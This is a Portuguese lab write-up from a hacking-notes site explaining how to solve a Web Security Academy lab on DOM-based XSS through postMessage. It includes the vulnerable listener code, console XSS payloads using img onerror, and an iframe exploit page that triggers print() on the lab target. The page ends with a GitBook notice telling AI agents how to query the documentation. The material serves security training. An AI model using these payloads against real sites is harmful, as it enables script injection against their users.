> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/dom/xss-dom-via-web-messages.md).

# XSS DOM via Mensagens Web

### XSS de DOM usando mensagens da Web

Explore uma vulnerabilidade de DOM baseada em XSS com base em mensagens da web (`postMessage`) para fazer com que a `print()` função seja chamada na página-alvo enviando uma carga pelo servidor de exploração.

#### Comportamento observado (código-fonte)

A página escuta mensagens postadas e injeta diretamente o conteúdo recebido em `#ads` elemento sem desinfecção:

<pre class="language-html"><code class="lang-html"><strong>&#x3C;script>
</strong>   window.addEventListener('message', function(e) {
   document.getElementById('ads').innerHTML = e.data;
   })
&#x3C;/script>
</code></pre>

Isso significa que qualquer `e.data` recebido será renderizado como HTML em `#ads`, abrindo caminho para um XSS de DOM se um atacante conseguir postar uma mensagem controlada.

<figure><img src="/files/370c168410c5f31f2475d78b39bf200c22900749" alt=""><figcaption></figcaption></figure>

#### Testes interativos (console)

Exemplos de mensagens enviadas do console da página pai / d

* mensagem de texto simples

```javascript
window.parent.postMessage('This is a test');
```

<figure><img src="/files/ad35c56acc24775d37e1083845c61c21b03f229b" alt=""><figcaption></figcaption></figure>

* injeção de HTML

```javascript
window.parent.postMessage('<h1>hello</h1>');
```

<figure><img src="/files/90999a00a45540395fb5335f500561c38fcfb843" alt="" width="490"><figcaption></figcaption></figure>

* teste de alerta (XSS)

```jsx
window.parent.postMessage("<img src='0' onerror=alert(0)>");
```

<figure><img src="/files/45c82702ba6ad39010811205e6bc938f8eb54805" alt=""><figcaption></figcaption></figure>

* causar `print()` ( lente do laboratório)

```javascript
window.parent.postMessage("<img src='0' onerror=print()>");
```

<figure><img src="/files/ad57e14a5b20453037c03f641889c1a15503422c" alt=""><figcaption></figcaption></figure>

#### Exploit de iframe no servidor de exploração

Exemplo do HTML hospedado no seu servidor que carrega a página alvo em um iframe e então envia a carga útil para o carregamento do iframe:

```mathml
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('This is a test', '*');">
</iframe>
```

<figure><img src="/files/c5ac2b3524a76e98ecff16024c57611b47ab39df" alt=""><figcaption></figcaption></figure>

Para disparar `print()` na página-alvo, envie a carga útil contendo `img` elemento com `onerror=print()`:

```html
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('<img src=0 onerror=print()>', '*');">
</iframe>
```

<figure><img src="/files/521a466598d0a46a2d850fd70fe7361a105df9a0" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/dom/xss-dom-via-web-messages.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
